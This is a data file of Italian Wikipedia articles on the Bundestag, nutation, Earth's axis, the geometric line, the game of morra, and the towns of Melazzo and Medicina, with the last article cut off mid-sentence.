{"id": "26268", "revid": "363629", "url": "https://it.wikipedia.org/wiki?curid=26268", "title": "Bundestag", "text": "Il Bundestag (in italiano Dieta federale) \u00e8 il parlamento federale tedesco ed esprime la rappresentanza popolare della Repubblica Federale di Germania. Ha sede a Berlino dal 1990, anno in cui la capitale fu spostata da Bonn.\nFino al 1945, al posto del Bundestag esisteva il Reichstag. Dal 26 ottobre 2021 il Presidente \u00e8 B\u00e4rbel Bas (SPD).\nIn generale.\nIl Bundestag \u00e8 composto da un minimo di 598 deputati, a cui ne viene aggiunto un numero variabile a ogni tornata elettorale, i cosiddetti \"Ausgleichsmandate\", in modo da garantire una rappresentanza proporzionale secondo la legge elettorale tedesca. Infatti, i deputati sono eletti con un sistema proporzionale personalizzato: l'elettore dispone di due schede, con una egli sceglie un candidato nella propria circoscrizione (eletto con metodo maggioritario) e con l'altra un partito. La ripartizione dei parlamentari a livello federale \u00e8 puramente proporzionale poich\u00e9 i seggi sono assegnati sulla base dei voti determinati dalla seconda scheda; i seggi aggiuntivi vengono utilizzati per compensare i seggi dei partiti penalizzati dal primo voto maggioritario. Attualmente il numero totale di seggi, a seguito delle elezioni federali del 2021, \u00e8 di 736.\nIl metodo di ripartizione dei seggi utilizzato \u00e8 stato fino al 2008 quello di Hare-Niemeyer . Dal 2008, il sistema usato \u00e8 quello di Sainte-Lagu\u00eb. Accedono alla ripartizione dei seggi solo le liste che hanno superato il 5% dei voti (5% Klausel) o che abbiano eletto almeno tre deputati nei collegi maggioritari.\nIl periodo di legislatura del Bundestag dura quattro anni. Il Bundestag tedesco tiene le sue sedute dal 1999 nell'edificio del Reichstag (nome della Dieta fino al 1945). I deputati portano il titolo di membri del Bundestag (MdB).\nIl presidente del Bundestag viene eletto di regola nella seduta costituente del parlamento ed \u00e8 espressione della \"Fraktion\" (gruppo parlamentare) pi\u00f9 numerosa. \u00c8 affiancato da un praesidium composto da un certo numero di vicepresidenti, in modo che tutti i gruppi siano in esso rappresentati.\nIl sistema legislativo tedesco prevede la presenza, oltre al Bundestag, del Bundesrat, il Consiglio federale: si tratta di un sistema che per quanto riguarda le leggi federali \u00e8 quindi simile a quello bicamerale in uso in Italia, tranne per la funzione della seconda camera.\nFunzioni.\nIl Bundestag ha quattro funzioni principali:\nLegislature del Bundestag.\nDi seguito l'elenco delle legislature con le date di inizio e conclusione:\nXIX legislatura (2017-2021).\nNella diciannovesima legislatura il partito della Cancelliera Angela Merkel (CDU/CSU), raggiunge il 34,7% dei seggi (246), con i parlamentari cos\u00ec distribuiti tra le varie forze politiche:\nXX legislatura (2021-).\nNella ventesima legislatura il partito del vice Cancelliere Olaf Scholz (SPD), raggiunge il 25,7% dei seggi (206), con i parlamentari cos\u00ec distribuiti tra le varie forze politiche:"}
{"id": "26272", "revid": "1106276", "url": "https://it.wikipedia.org/wiki?curid=26272", "title": "Nutazione", "text": "La nutazione \u00e8 il moto di oscillazione (etimologicamente significa in latino classico \"un cenno del capo\") dell'asse di rotazione di un oggetto, che si manifesta in combinazione con un moto di precessione.\nQuesto moto \u00e8 dovuto al fatto che il momento angolare della precessione si somma a quello della rotazione: perci\u00f2 il momento angolare risultante non \u00e8 esattamente diretto lungo l'asse di simmetria dell'oggetto rotante. Questo provoca un'oscillazione di tale asse nella direzione trasversale al moto di precessione e, in conseguenza di questo, anche una lieve variazione periodica della velocit\u00e0 angolare di precessione. L'ampiezza della nutazione \u00e8 proporzionale al rapporto tra la velocit\u00e0 angolare di precessione e quella di rotazione.\nLa nutazione si osserva ad esempio nel moto della trottola: man mano che essa rallenta la sua rotazione il suo asse oscilla via via pi\u00f9 marcatamente, finch\u00e9 la trottola cade.\nNutazione della Terra.\nIl moto di nutazione si osserva anche per i pianeti, tra cui la Terra, in combinazione con la precessione degli equinozi. I moti di precessione e nutazione terrestre sono causati dalla forza di marea esercitata dal Sole e dalla Luna (per gli altri pianeti del sistema solare vi \u00e8 solo l'influsso del Sole, poich\u00e9 nessuno ha un satellite di dimensioni paragonabili alle proprie, come invece accade per la Terra e la Luna). Questi moti non sono perfettamente regolari, perch\u00e9 la Luna e il Sole non si trovano sempre nello stesso piano e si muovono l'una rispetto all'altro, causando una variazione continua della forza agente sulla Terra.\nLa nutazione dell'asse terrestre fu scoperta da Bradley nel 1728, ma venne spiegata solo 20 anni dopo tale scoperta.\nPoich\u00e9 le dinamiche dei pianeti sono molto ben conosciute, si riesce a calcolare la nutazione con una precisione di secondi d'arco su un periodo di molti decenni. Per\u00f2 per quanto riguarda la Terra \u00e8 presente anche un altro effetto: la polodia, che disturba tale movimento e che pu\u00f2 essere estrapolato solo con alcuni mesi di anticipo; tale movimento \u00e8 determinato da azioni che possono variare in modo molto veloce e imprevedibile come: le correnti dell'oceano, le correnti dei venti e i movimenti del nucleo terrestre.\nI valori della nutazione sono solitamente suddivisi nei componenti paralleli e perpendicolari all'eclittica. Il componente parallelo all'eclittica \u00e8 detto \"nutazione longitudinale\", quello perpendicolare \u00e8 la \"nutazione obliqua\".\nI sistemi di coordinate celesti sono basati su di un \"equatore\" e un \"equinozio\": il primo pu\u00f2 essere immaginato come un enorme cerchio nel cielo originato dalla proiezione verso l'esterno dell'equatore terrestre; il secondo \u00e8 una linea (quella dell'equinozio di primavera) che, intersecando questo cerchio, determina il punto di partenza per la misurazione dell'ascensione retta. Questi due riferimenti sono entrambi influenzati dalla precessione degli equinozi e dalla nutazione: quindi, dipendono dalle teorie applicate alla precessione e alla nutazione e dalla data usata come riferimento per il sistema di coordinate. In parole povere, i valori della nutazione (e della precessione) sono importanti nell'osservazione dalla Terra per il calcolo della posizione apparente dei corpi celesti.\nPer quanto riguarda la Terra, la componente maggiore della nutazione terrestre ha un periodo di 18,6 anni, lo stesso della precessione della linea dei nodi della Luna. Inoltre, a seconda della precisione di calcolo richiesta, ci sono altri componenti periodiche significative che devono essere considerate. Una descrizione matematica (sotto forma di sistema di equazioni) che rappresenti la nutazione \u00e8 detta una \"teoria della nutazione\". In generale, la teoria corrisponde esattamente alle leggi fisiche e alle misurazioni astronomiche; tuttavia, pu\u00f2 essere utile correggere empiricamente alcuni parametri in modo da trovare una migliore corrispondenza sperimentale. La semplice applicazione delle leggi della meccanica del corpo rigido non d\u00e0 i risultati migliori; infatti, bisogna tenere conto delle deformazioni della Terra.\nValori.\nIl termine principale della nutazione \u00e8 dovuto alla regressione della linea dei nodi della Luna e ha lo stesso periodo di 6798 giorni (18,6 anni). La componente longitudinale ha un'ampiezza di 17\" e quella obliqua di 9\". Tutti gli altri termini sono molto pi\u00f9 piccoli. Il successivo termine pi\u00f9 grande, con un periodo di 183 giorni (0,5 anni) ha ampiezze di 1,3\" e 0,6\" rispettivamente. Il periodo di tutti i termini maggiori di 0,0001\" (all'incirca la massima accuratezza misurabile), compreso tra 5,5 e 6798 giorni, non presenta valori nell'intervallo da 34,8 a 91 giorni. Si usa perci\u00f2 suddividere la nutazione in termini a lungo periodo e a breve periodo. I termini a lungo periodo sono calcolati e riportati negli almanacchi, mentre la correzione addizionale dovuta ai termini a breve periodo \u00e8 di solito presa da una tabella."}
{"id": "26273", "revid": "793215", "url": "https://it.wikipedia.org/wiki?curid=26273", "title": "Asse terrestre", "text": "L'asse terrestre \u00e8 la linea immaginaria passante per i due poli terrestri attorno a cui la Terra compie il suo moto di rotazione.\nLa volta celeste si muove da est ad ovest ruotando attorno a due punti fissi, chiamati polo nord celeste (N') e polo sud celeste (S'). Si chiama \"asse celeste\" la retta passante per i due poli celesti. Apparentemente la volta celeste ruota attorno a questo asse; si tratta appunto di un movimento apparente dovuto al movimento di rotazione della Terra attorno all'asse terrestre.\nL'asse terrestre incontra la superficie della Terra in due punti: il polo nord terrestre (N) e il polo sud terrestre (S); il moto di rotazione terrestre, per un osservatore posto sopra il Polo Nord e fisso rispetto alla sfera celeste, avviene in senso antiorario. Per effetto della polodia questi due punti sono soggetti a spostamenti. L'asse celeste, cio\u00e8 la retta che passa per i due poli celesti, e l'asse terrestre coincidono in quanto i poli celesti e i poli terrestri sono allineati tra loro. In prima approssimazione si pu\u00f2 considerare la Terra come una sfera; il punto medio del segmento che congiunge i poli terrestri \u00e8 il centro della sfera.\nIl piano perpendicolare all'asse terrestre passante per il centro della Terra interseca la superficie della Terra determinando un cerchio massimo la cui circonferenza \u00e8 chiamata equatore terrestre. Esso divide la Terra nei due emisferi: settentrionale o boreale dalla parte del polo nord, meridionale o australe dalla parte del polo sud. Se si estende il piano dell'equatore fino ad intersecare la sfera celeste, su essa si determina un cerchio massimo detto equatore celeste. L'asse della terra e l'equatore celeste rappresentano la direzione e il piano fondamentali per il sistema di coordinate equatoriali e per il sistema orario.\nInclinazione.\nL'asse terrestre \u00e8 inclinato di 23\u00b0 27' rispetto alla perpendicolare al piano dell'eclittica: questa inclinazione, combinata con la rivoluzione della Terra intorno al Sole, \u00e8 causa delle stagioni.\nL'entit\u00e0 dell'inclinazione varia ciclicamente tra circa 22\u00b0 30' e circa 24\u00b0 30' con un periodo di anni; attualmente \u00e8 di 23\u00b0 27\u2032 e in diminuzione. Inoltre l'asse terrestre ruota lentamente intorno alla perpendicolare all'eclittica, descrivendo un doppio cono e compiendo un giro ogni anni (52\u2033 all'anno). Questo moto \u00e8 chiamato precessione degli equinozi ed \u00e8 dovuto alla forza di marea esercitata dalla Luna e dal Sole.\nInfine vi sono delle oscillazioni dell'asse di minore entit\u00e0 (circa 20\u2032) e con un periodo pi\u00f9 breve (circa 18,6 anni): quest'ultimo moto \u00e8 detto nutazione.\nEffetto dei terremoti.\nI terremoti possono spostare l'asse terrestre. In realt\u00e0 quello che viene spostato \u00e8 l'\"asse di figura\" (\"figure axis\"), sfasato di una decina di metri rispetto alla congiungente nord-sud della Terra. L'asse di figura \u00e8 l'asse rispetto al quale la massa della Terra \u00e8 in equilibrio.\nUn esempio adatto per spiegare la differenza \u00e8 quello di un pattinatore che ruota su se stesso tenendo in mano una pietra con il braccio disteso. L'asse di rotazione del pattinatore \u00e8 ancora passante per il centro del corpo, ma l'asse di figura \u00e8 spostato leggermente nella direzione della mano che stringe la pietra. Ritraendo e distendendo il braccio con la pietra l'asse di rotazione non cambia, similmente a un giroscopio, ma l'asse di figura s\u00ec in quanto cambia la distribuzione della massa. Per la legge di conservazione del momento angolare anche la velocit\u00e0 di rotazione ne risente, aumentando quanto pi\u00f9 il braccio inizialmente disteso si avvicina al corpo. \nPertanto i fenomeni che muovono intere placche tettoniche possono similmente variare la velocit\u00e0 di rotazione della Terra e il suo asse di figura. Queste variazioni rientrano nella normalit\u00e0 e sono impercettibili per i sensi umani; nell'arco di un anno lo spostamento pu\u00f2 essere dell'ordine di 1 metro. Effetti climatici come le correnti marine e soprattutto i venti influiscono centinaia di volte di pi\u00f9.\nEsempi.\nIl terremoto del T\u014dhoku del 2011 (magnitudo 9,0) avrebbe spostato l'asse di circa 17 cm. Il Terremoto del Cile del 2010 l'avrebbe spostato di , e il terremoto nell'Oceano Indiano nel 2004 di 7 cm."}
{"id": "26274", "revid": "465169", "url": "https://it.wikipedia.org/wiki?curid=26274", "title": "Retta", "text": "La retta o linea retta \u00e8 uno dei tre enti geometrici fondamentali della geometria euclidea. Viene definita da Euclide nei suoi \"Elementi\" come un concetto primitivo. Un filo di cotone o di spago ben teso tra due punti \u00e8 un modello materiale che ci pu\u00f2 aiutare a capire cosa sia la retta, un ente geometrico immateriale senza spessore e con una sola dimensione.\nLa retta \u00e8 illimitata in entrambe le direzioni, e inoltre contiene infiniti punti, cio\u00e8 \u00e8 infinita. Viene generalmente contrassegnata con una lettera minuscola dell'alfabeto latino (solitamente con la \"r\").\nDefinizione geometrica.\nLa retta \u00e8 il secondo ente fondamentale della geometria; geometricamente priva di alcuno spessore ha una sola dimensione: la lunghezza.\nUna retta pu\u00f2 \"giacere\" (cio\u00e8 essere contenuta) nel piano o nello spazio tridimensionale.\nDue rette nel piano possono essere:\nDue rette nello spazio possono essere:\nDate due rette sghembe, per ognuna di esse passa un unico piano parallelo all'altra retta. La distanza tra questi due piani equivale alla distanza tra le due rette.\nRetta nel piano cartesiano.\nUna retta nel piano cartesiano \u00e8 descritta da un'equazione lineare\ndove i coefficienti formula_2, formula_3 e formula_4 sono dei numeri reali fissati, con formula_2 e formula_3 non contemporaneamente nulli.\nSe formula_7 oppure formula_8, \u00e8 possibile descrivere la stessa retta in \"forma esplicita\" rispettivamente in una delle due forme seguenti:\ndove formula_11 si chiama \"coefficiente angolare\" e quantifica la pendenza della retta. Nella prima delle equazioni di cui sopra il termine noto formula_12 rappresenta l'ordinata del punto di intersezione della retta con l'asse delle formula_13 (\"ordinata all'origine\" o \"intercetta\"), nella seconda il termine noto formula_14 rappresenta l'ascissa del punto di intersezione della retta con l'asse delle formula_15.\nRetta nello spazio euclideo tridimensionale.\nNello spazio euclideo tridimensionale, una retta pu\u00f2 essere descritta tramite \"equazioni cartesiane\" come luogo di intersezione di due piani non paralleli:\nIn questo caso le soluzioni del sistema dipendono da un solo parametro formula_17 ed \u00e8 sempre possibile ricavare un insieme di \"equazioni parametriche\" per la retta:\ndove il vettore formula_19 \u00e8 un vettore parallelo alla retta e il punto formula_20 \u00e8 un punto appartenente alla retta.\nSe formula_21 sono tutti diversi da zero \u00e8 possibile ricavare le cosiddette \"equazioni simmetriche\" della retta:\nSia le equazioni cartesiane che le equazioni parametriche della retta non sono univocamente determinate, e sono in effetti infinite.\nRetta in uno spazio euclideo n-dimensionale.\nNello spazio euclideo formula_23-dimensionale formula_24, una \"retta\" \u00e8 un insieme dei punti del tipo\ndove formula_26 e formula_27 sono due vettori fissati in formula_24 con formula_27 diverso da zero. Il vettore formula_27 descrive la direzione della retta, mentre formula_26 \u00e8 un qualsiasi punto della retta. Scelte differenti dei vettori formula_26 e formula_27 possono descrivere la stessa retta.\nQuesta definizione di retta nello spazio di dimensione formula_23 \u00e8 una estensione della rappresentazione in \"forma esplicita\" nel piano descritta sopra. Descrivere invece una retta in \"forma implicita\" come insieme di vettori che soddisfano delle equazioni lineari \u00e8 pi\u00f9 complicato, perch\u00e9 per il teorema di Rouch\u00e9-Capelli sono necessarie formula_35 equazioni.\nDistanza tra rette.\nSi definisce come distanza tra due rette formula_36 e formula_37 la distanza minima tra due punti formula_38 e formula_39.\nTale distanza \u00e8 ovviamente nulla nel caso di due rette che si intersecano. Per esaminare i restanti due casi (rette parallele e sghembe) verr\u00e0 utilizzata la rappresentazione parametrica, che permette una trattazione unitaria per tutte le dimensioni. Siano dunque date due rette formula_40 e formula_41 di equazioni parametriche rispettivamente:\ndove formula_43 e formula_44 sono i loro vettori direzionali e formula_45 e formula_46 i vettori associati al punto formula_47 della retta formula_40 e al punto formula_49 della retta formula_41, relativamente alla terna cartesiana formula_51.\nDistanza tra rette parallele.\nDato che le rette sono parallele possiamo misurare la distanza a partire da un punto qualsiasi della prima retta. Scegliamo il punto di formula_40 segnato dal vettore formula_45. Ogni punto della retta formula_41 pu\u00f2 essere espresso nella forma formula_55. Se chiamo formula_56 il vettore ortogonale a formula_43 che segna la distanza dall'altra retta, allora per le propriet\u00e0 del prodotto scalare\nOttenuto formula_56 risolvendo la precedente equazione (incognita in formula_60) \u00e8 sufficiente calcolare la norma di formula_56 quindi con riferimento all'equazione parametrica la distanza formula_62 fra due rette parallele formula_36 e formula_64 si pu\u00f2 scrivere come:\ndove il vettore formula_27 \u00e8 un vettore parallelo alle rette e il vettore formula_67 \u00e8 il vettore che congiunge un punto formula_68 della retta formula_36 e un punto formula_70 della retta formula_64 ovvero la distanza fra due rette parallele \u00e8 data dalla proiezione del vettore formula_67 nel verso ortogonale alle stesse.\nDimostrazione: dalle formule del prodotto vettoriale, i moduli dei versori sono unitari, resta:\nformula_73\nDistanza tra rette sghembe.\nSe definiamo formula_56 come il vettore ortogonale a formula_75, la cui norma \u00e8 la distanza tra le due rette, il nostro problema si riduce a trovare la norma di formula_56. I tre vettori formula_56, formula_43 e formula_44 sono una base, e possiamo quindi facilmente scomporre il vettore formula_80 lungo le tre componenti. Quindi\nMolto semplicemente si ricava che\ncon riferimento all'equazione parametrica la distanza formula_62 fra due rette sghembe formula_36 e formula_64 si pu\u00f2 scrivere come:\ndove il vettore formula_67 \u00e8 il vettore che congiunge un punto formula_68 della retta formula_36 che ha vettore parallelo formula_90 e un punto formula_70 della retta formula_64 che ha vettore parallelo formula_93, il vettore formula_94 \u00e8 il vettore ortogonale formula_95 ovvero la distanza fra due rette sghembe \u00e8 data dalla proiezione del vettore formula_67 nel verso del vettore formula_94.\nDimostrazione: dalle formule del prodotto scalare il modulo del versore \u00e8 unitario, resta : formula_98"}
{"id": "26275", "revid": "125808943", "url": "https://it.wikipedia.org/wiki?curid=26275", "title": "Morra", "text": "La morra \u00e8 un gioco tradizionale molto popolare in Italia, in particolare nelle regioni che si affacciano sul Mediterraneo.\nLe regole.\nIl gioco consiste nell'indovinare la somma dei numeri che vengono mostrati con le dita dai giocatori. Simultaneamente i due giocatori tendono il braccio mostrando il pugno oppure stendendo un numero di dita a scelta, mentre gridano (quasi a voler intimorire l'avversario) un numero da due a dieci (il \"pugno\" equivale allo'uno e il dieci \u00e8 anche chiamato proprio \"morra\") generalmente in lingua locale, a volte storpiati con espressioni molto colorite che variano di paese in paese; spesso il nome del numero \u00e8 modificato per renderlo monosillabico. Il giocatore che indovina la somma conquista il punto e, nel caso di gioco a squadre, mantiene la mano e dovr\u00e0 combattere con l'altro giocatore della squadra concorrente e cos\u00ec via. Se entrambi i giocatori indovinano la somma il gioco continua e nessuno guadagna il punto. Il gioco finisce quando si raggiunge il punteggio deciso a priori.\nSi pu\u00f2 giocare uno contro uno (la forma base del gioco) oppure due contro due, ovvero quattro giocatori divisi a squadre dove le squadre sono poste specularmente. La competizione a squadre \u00e8 quella pi\u00f9 diffusa ed anche quella in cui il fattore fortuna viene messo da parte per far posto ad abilit\u00e0 e strategie. \nIl gioco, seppur diffuso in tutto il territorio nazionale, presenta delle varianti proprie di ogni regione e spesso ci sono interpretazioni diverse da provincia a provincia. C'\u00e8 chi gioca da seduto, chi in piedi, chi utilizza un tavolo, chi ricorre al contatore, chi si ferma ad ogni punto conquistato e chi continua a giocare senza fermarsi mai.\nLe strategie.\nLa morra, nonostante sembri un gioco semplice, in realt\u00e0 \u00e8 faticoso e difficile: il gioco si svolge con la massima velocit\u00e0, con ritmo cadenzato, con clamoroso effetto acustico, tanto da comportare spesso forti indolenzimenti al braccio, oltre che completa perdita della voce. \nMentre il gioco va avanti i ritmi aumentano rapidamente e non \u00e8 facile mantenere la concentrazione. Il giocatore, in piccolissime frazioni di secondo, deve essere capace di ragionare in due sensi: analizzare e prevedere il gioco dell'avversario e contemporaneamente evitare di giocare i numeri che si aspetta l'avversario; per fare ci\u00f2 il giocatore deve possedere un'ottima capacit\u00e0 di osservazione ed una notevole velocit\u00e0 di ragionamento. Chi ha riflessi rapidissimi e grande destrezza pu\u00f2 barare modificando il proprio numero di dita stese, cos\u00ec da volgere a proprio vantaggio la situazione determinata dal numero di dita che una frazione di secondo prima \u00e8 stato chiaramente e definitivamente mostrato dall'avversario. \nMolti giocatori sostengono che anche la violenza verbale \u00e8 parte del duello e ha la funzione di sovrastare l'avversario e convincerlo, inconsciamente, a giocare in modo subalterno. Inoltre, quando lo sfidante guadagna il punto il tono di voce si innalza ulteriormente e l'espressione si allunga. Se poi il punto \u00e8 stato estenuante, combattuto a ritmo incalzante per un tempo che ha messo a dura prova le capacit\u00e0 degli sfidanti, l'urlo finale del giocatore che vince prorompe sovrastando quello dell'avversario che invece, avendo perso, ha lasciato cadere il tono della sua ultima chiamata. Questo urlo sottolinea la vittoria (anche se temporanea) del giocatore che ha guadagnato il punto, ma esprime anche il gusto della liberazione, del ritorno in s\u00e9. Gli strumenti usati (la mano e la voce) sono molto flessibili e permettono, rispetto ai possibili significati, un'enorme variazione di espressioni. Per contro la stessa possibilit\u00e0 di variare sensibilmente espressione si presta magnificamente a delle piccole astuzie che vanno dal lecito all'illecito (in tal caso sono delle vere e proprie malizie). Il problema della morra, e la fortuna di queste astuzie, \u00e8 che il limite tra il lecito e l'illecito \u00e8 ben definito dalle regole tacite ma \u00e8 di difficile percezione, considerando il ritmo incalzante del gioco.\nStoria.\nLa morra (\"murra\" in Sardegna, \"more\" o \"mora\" in Friuli, \"m\u00f3rra\" in Molise, \"mora\" in Trentino e nel veronese, \"mourra\" in Valle d'Aosta e in Provenza, \"morra\" in milanese, \"mura\" in bresciano, \"murra\" in Calabria/Sicilia ) \u00e8 un gioco antichissimo, come riportano numerose note storiche.\nLe prime notizie che si hanno del gioco della morra risalgono all'antico Egitto: in una tomba di un alto dignitario di corte della XXV dinastia, si vede chiaramente il defunto intento a stendere il braccio con un numero, contrapposto ad un altro giocatore.\nProseguendo nei secoli, in una pittura vascolare greca, appare chiaro il gioco tra Elena e Paride, con le mani protese nell'atto del gioco della morra. Tuttavia, \u00e8 in epoca romana che si hanno le pi\u00f9 chiare manifestazioni anche scritte: Cicerone, in un suo scritto, ci dice che \"dignus est quicum in tenebris mices\", ossia \"\u00e8 persona degna quella con cui puoi giocare alla morra al buio\". In latino la morra era indicata come \"micatio\", dal verbo \"micare\", che per esteso era \"micare digites\", ossia protendere le dita nel gioco.\nIn epoche successive sono diverse le testimonianze, anche figurative, del gioco della morra: numerosi pittori hanno raffigurato giocatori di morra durante le fasi del gioco. La morra era anche uno dei pochi svaghi che i soldati italiani avevano durante le notti fredde nelle trincee durante la Grande Guerra.\nNel 2010 e nel 2014 A. Zizi, professore presso la scuola superiore IT Giua di Cagliari, ha creato, assieme ai suoi studenti, una versione digitale della versione sarda del gioco.\nGioco d'azzardo e divieti.\nMolto diffuso in Italia, il gioco della morra \u00e8 stato colpito dai divieti della legge, fin da medioevo, a causa delle frequenti risse che provocava. Nella liberale Repubblica di Venezia, ad esempio, la morra venne bandita dai luoghi pubblici nel XV secolo, ma consentita nelle taverne e negli appositi circoli privati, chiamati \"ridotti\". La morra, come in quei tempi succedeva per tutti i giochi di osteria, era oggetto di scommesse, in palio c'era solitamente un litro di vino ma si racconta anche di fortune o propriet\u00e0 terriere, l'unica differenza stava nel fatto che la violenza gestuale e verbale del gioco si prestava benissimo a malintesi ed equivoci che sovente, grazie soprattutto ai contributi dell'alcool e per evitare di pagare il pegno, avevano dei risvolti drammatici fra le persone interessate. La morra \u00e8 oggi consentita ed \u00e8 compresa tra le discipline riconosciute dalla Federazione Italiana Giochi e Sport tradizionali, associata al CONI. Resta comunque in vigore il divieto di gioco nei locali pubblici e nei circoli privati cos\u00ec come disposto dall'articolo 110 del TULPS (Testo Unico delle Leggi di Pubblica Sicurezza) in quanto \u00e8 tuttora inserita nella tabella dei giochi proibiti.\nI divieti non esistono invece in Spagna, altro paese in cui la morra \u00e8 giocata, specie nella regione dell'Aragona, o in Corsica (Francia) e in Istria, altre regioni del Mar Mediterraneo in cui si gioca. Ci\u00f2 non sorprende in quanto, essendo stato un gioco largamente diffuso nelle stesse legioni romane, la morra ha suscitato interesse in tutte quelle zone che un tempo furono colonie dell'impero romano. \nL'unica zona franca in Italia \u00e8 la provincia di Trento dove dal 2001, per iniziativa del Presidente della Provincia, la morra \u00e8 stata tolta dalla tabella dei giochi proibiti e quindi reinserita nella legalit\u00e0. Attualmente \u00e8 in atto, da parte di numerose associazioni in tutta Italia, il recupero del gioco della morra come facente parte della tradizione italiana, tramite delle iniziative in tal senso."}
{"id": "26278", "revid": "1516566", "url": "https://it.wikipedia.org/wiki?curid=26278", "title": "Melazzo", "text": "Melazzo (\"Mlass\" in piemontese, \"Mr\u00e4ss\" in dialetto alessandrino) \u00e8 un comune italiano di abitanti della provincia di Alessandria in Piemonte.\nIl comune \u00e8 situato nella valle dell'Erro, in prossimit\u00e0 della confluenza con il fiume Bormida.\nStoria.\nNel Castello di Melazzo nacque, nel 1004, San Guido, dei Conti di Acquesana, venerato come santo dalla Chiesa cattolica e patrono della citt\u00e0 di Acqui Terme e della Diocesi di cui fu vescovo dal 1034 al 1070. Egli don\u00f2 i propri diritti signorili alla chiesa di Acqui, che ottenne conferma del possesso nel 1039 e nuovamente nel 1052 dall'imperatore Enrico III. All'inizio del XIII secolo Melazzo fu sottoposto al controllo del Comune di Acqui. In seguito entr\u00f2 a far parte del marchesato del Monferrato. Tra il 1330 ed il 1333 trov\u00f2 asilo nel Castello di Melazzo il re d'Inghilterra Edoardo II Plantageneto per sfuggire alla cattura ed al tentativo di assassinio ordito dalla moglie Isabella di Francia.\nSimboli.\nLo stemma del comune di Melazzo, \u00e8 stato concesso con regio decreto del 9 aprile 1914.\nMonumenti e luoghi di interesse.\nCastello di Melazzo.\nLe origini del locale castello sono antecedenti all'anno 1000: l'edificio attuale conserva ancora parti del Basso Medioevo rimaneggiate o integrate da restauri in stile neogotico (XIX-XX secolo), ad esempio per quanto riguarda le merlature delle mura.\nAll'interno, una lapide ricorda il fatto storico secondo cui Edoardo II Plantageneto, re d'Inghilterra, dopo essere stato deposto dal figlio, non sarebbe stato ucciso nel castello di Berkeley nel 1327, ma avrebbe trovato rifugio in Italia trascorrendo a Melazzo parte dei suoi ultimi anni.\nChiesa parrocchiale di San Bartolomeo.\nLa chiesa parrocchiale di S. Bartolomeo (XVIII secolo) e, ultimamente, di San Guido, contiene decorazioni in stile barocco piemontese; l'omonima pieve di San Bartolomeo, non pi\u00f9 esistente, si trovava nel fondovalle tra il rio Caliogna e il torrente Erro. L'adiacente oratorio, intitolato al martire domenicano san Pietro Martire, risale almeno al XVI secolo e conserva interessanti arredi barocchi.\nIl Quartino.\nNei pressi del paese sorge la villa del Quartino (XVII-XVIII secolo) costruita dalla famiglia Scati, cui appartenne Costanza Scati, dama di compagnia della regina Maria Adelaide di Savoia.\nCastello di Montecrescente.\nSulla opposta sponda dell'Erro, in cima al colle di Montecrescente, sorge un fortificazione a pianta ottagonale, con quattro torri angolari \"a filo\", nota anche con il nome di Tinazza, per la forma che ricorda quella di un tino capovolto. Eretta nel XIV secolo, sorvegliava lo sbocco delle valli della Bormida e dell'Erro.\nChiesa di San Secondo.\nLa chiesa di San Secondo, attualmente isolata tra i campi presso la borgata omonima, \u00e8 un edificio romanico del XII secolo, originariamente con pianta a tau e triabsidato (ne sopravvivono soltanto due) secondo un modello architettonico relativamente frequente in diocesi di Acqui.\nAcquedotto Romano.\nNel territorio di Melazzo, nei pressi della foce del rio Caliogna, sulla sponda sinistra, si pu\u00f2 vedere un tratto di ci\u00f2 che resta dell'acquedotto romano . L'opera, che risale al I secolo d.C., era lunga circa 13\u00a0km, aveva origine dal territorio di Cartosio e terminava ad Acqui Terme valicando il fiume Bormida su imponenti archi ancora visibili (uno dei simboli di Acqui Terme ). Il condotto aveva una sezione di cm 120 di altezza e cm 40 di larghezza, la volta era a botte, era intonacato internamente ed appoggiava su una vena di marna. Tutto l'acquedotto manteneva una pendenza media di 1,60 m x 1000 m. Fino agli anni ottanta del '900 si pensava che il punto di captazione delle acque fosse in localit\u00e0 Tempuccio di Cartosio; durante i lavori di consolidamento degli argini nei pressi del ponte in localit\u00e0 Colombara, il gruppo speleologico del CAI di Acqui Terme scopr\u00ec che era situato pi\u00f9 a monte presumibilmente in localit\u00e0 Lago Scuro .\nAmministrazione.\nDi seguito \u00e8 presentata una tabella relativa alle amministrazioni che si sono succedute in questo comune."}
{"id": "26280", "revid": "1516566", "url": "https://it.wikipedia.org/wiki?curid=26280", "title": "Medicina (Italia)", "text": "Medicina (\"Midg\u00e9\u1e45na\" in dialetto bolognese, \"Mig\u00eena\" nella variante locale) \u00e8 un comune italiano di abitanti della citt\u00e0 metropolitana di Bologna in Emilia-Romagna.\nIl territorio comunale \u00e8 totalmente situato in pianura. Il capoluogo sorge presso l'intersezione dell'omonimo canale con la storica strada San Vitale.\nOrigini del nome.\nAttestato fin dall'855, si tratta di un riflesso del latino \"medicina\", nel significato di \"luogo dove ci si cura e ci si medica\". Una leggenda invece racconta che la citt\u00e0 fu cos\u00ec nominata dall'imperatore Federico Barbarossa. Passando per questi luoghi provenendo da Milano per l'incoronazione a Roma, l'imperatore si ammal\u00f2 e fu costretto a riposo nei pressi del piccolo castello. Il Barbarossa guar\u00ec miracolosamente dopo aver bevuto un brodo dal quale, dopo la cottura, era fuoriuscito un serpente vivo, tra lo stupore dei cuochi. \u00c8 stato per\u00f2 dimostrato che il nome era antecedente al passaggio di Federico Barbarossa, che tuttavia avvenne realmente nel maggio del 1155. Tuttavia, come rievocazione di questa leggenda si celebra ogni anno la \"Festa del Barbarossa\", il terzo fine settimana del mese di settembre.\nStoria.\nLa cittadina ha antiche origini: presso il museo civico, infatti, sono conservati reperti risalenti all\u2019Et\u00e0 del Bronzo e all\u2019Et\u00e0 del Ferro. Medicina continu\u00f2 ad essere abitata in epoca romana, come attestano diversi reperti archeologici e la presenza del cardo e del decumano, oggi corrispondenti rispettivamente a Via Cavallotti e Via Libert\u00e0, in pieno centro storico.\nLa prima fonte medievale riguardante Medicina risale, come gi\u00e0 accennato, all'anno 855, quando, in un documento ravennate, comparve per la prima volta il nome \"Medicina\" in riferimento a questi luoghi e il territorio comunale ad est del capoluogo fu chiamato \u201cMedesano\u201d.\nNel corso dei secoli, Medicina fu soggetta a diversi domini: inizialmente, fu governata dall'impero germanico, poi fu inclusa nei domini della grancontessa Matilde di Canossa (XI\u00a0\u2013 XII secolo), torn\u00f2 poi sotto il controllo del Sacro Romano Impero e, infine, fu soggetta allo Stato della Chiesa fino all'unit\u00e0 d'Italia, avvenuta nel 1861. Durante l'et\u00e0 comunale, Medicina fu governata da un podest\u00e0; inoltre, la cittadina godette di particolare autonomia, concessale dall\u2019imperatore. Infatti, i medicinesi si dimostrarono sempre fedeli all'impero, anche perch\u00e9 temevano la potente e vicina citt\u00e0 di Bologna, che era di 